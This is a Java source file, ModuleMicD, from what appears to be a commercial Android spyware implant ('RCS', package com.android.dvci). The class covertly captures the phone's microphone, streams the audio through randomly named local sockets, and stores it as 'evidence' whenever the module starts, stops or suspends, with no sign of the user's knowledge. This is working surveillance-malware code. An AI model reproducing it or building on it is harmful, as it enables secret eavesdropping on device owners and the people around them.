/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : MicAgent.java * Created : Apr 18, 2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import android.media.MediaRecorder; import android.net.LocalServerSocket; import android.net.LocalSocket; import android.net.LocalSocketAddress; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; import com.android.dvci.util.DateTime; import com.android.dvci.util.Utils; import java.io.IOException; import java.io.InputStream; /** * The Class MicAgent. 8000KHz, 16bit * * @author zeno * @ref: http://developer.android.com/reference/android/media/MediaRecorder.html */ public class ModuleMicD extends ModuleMic { private static final String TAG = "ModuleMicD"; //$NON-NLS-1$ private LocalSocket receiver; private LocalServerSocket lss; private LocalSocket sender; private InputStream is; private String socketname; public ModuleMicD() { super(); } @Override void specificStop() { saveRecorderEvidence(); stopRecorder(); } @Override void specificGo(int numFailures) { if (numFailures < 10) { try { saveRecorderEvidence(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (actualGo) Error: " + ex); } } } } protected byte[] getAvailable() { byte[] ret = null; try { if (receiver.isBound() && receiver.isConnected()) { if (is == null) { is = receiver.getInputStream(); } final int available = is.available(); if (Cfg.DEBUG) { Check.log(TAG + " (getAvailable): " + available);//$NON-NLS-1$ } ret = new byte[available]; is.read(ret); } } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e);//$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (getAvailable) Error: " + e);//$NON-NLS-1$ } } return ret; } /** * Start recorder. * * @throws IllegalStateException the illegal state exception * @throws IOException Signals that an I/O exception has occurred. */ synchronized void specificStart() throws IllegalStateException, IOException { if (Cfg.DEBUG) { Check.log(TAG + " (specificStart)");//$NON-NLS-1$ } numFailures = 0; unfinished = null; final DateTime dateTime = new DateTime(); fId = dateTime.getFiledate(); createSockets(); try { recorder = new MediaRecorder(); recorder.setOnErrorListener(this); recorder.setOnInfoListener(this); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); // dalla versione API 10, supporta anche AMR_WB /* * recorder.setAudioSource(MediaRecorder.AudioSource.MIC); * recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); * recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); * recorder.setAudioEncodingBitRate(16); * recorder.setAudioSamplingRate(44100); */ recorder.setOutputFile(sender.getFileDescriptor()); recorder.prepare(); recorder.start(); // Recording is now started }catch (Exception e){ if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (specificStart) Exception Error: delete socket and release recorder calling stopRecorder()");//$NON-NLS-1$ stopRecorder(); } } } private void createSockets() { receiver = new LocalSocket(); try { socketname = Long.toHexString(Utils.getRandom()); lss = new LocalServerSocket(socketname); receiver.connect(new LocalSocketAddress(socketname)); receiver.setReceiveBufferSize(500000); receiver.setSendBufferSize(500000); sender = lss.accept(); sender.setReceiveBufferSize(500000); sender.setSendBufferSize(500000); } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (createSockets) Error: " + e);//$NON-NLS-1$ } } } private void deleteSockets() { try { is.close(); is = null; sender.close(); receiver.close(); lss.close(); } catch (final IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e);//$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (deleteSockets) Error: " + e);//$NON-NLS-1$ } } } // http://sipdroid.googlecode.com/svn/trunk/src/org/sipdroid/sipua/ui/VideoCamera.java /** * Stop recorder. */ protected synchronized void stopRecorder() { if (Cfg.DEBUG) { Check.log(TAG + " (stopRecorder)");//$NON-NLS-1$ } if (recorder != null) { recorder.setOnErrorListener(null); recorder.setOnInfoListener(null); try { recorder.stop(); } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(ex); } } recorder.reset(); // You can reuse the object by going back to // setAudioSource() step // recorder.release(); // Now the object cannot be reused getAvailable(); deleteSockets(); recorder.release(); recorder = null; } } @Override void specificSuspend() { saveRecorderEvidence(); stopRecorder(); } @Override void specificResume() { } public void onInfo(MediaRecorder mr, int what, int extra) { if (Cfg.DEBUG) { Check.log(TAG + " (onInfo): " + what);//$NON-NLS-1$ } } public void onError(MediaRecorder mr, int what, int extra) { if (Cfg.DEBUG) { Check.log(TAG + " (onError) Error: " + what);//$NON-NLS-1$ } suspend(); } @Override public String getTag() { return TAG; } }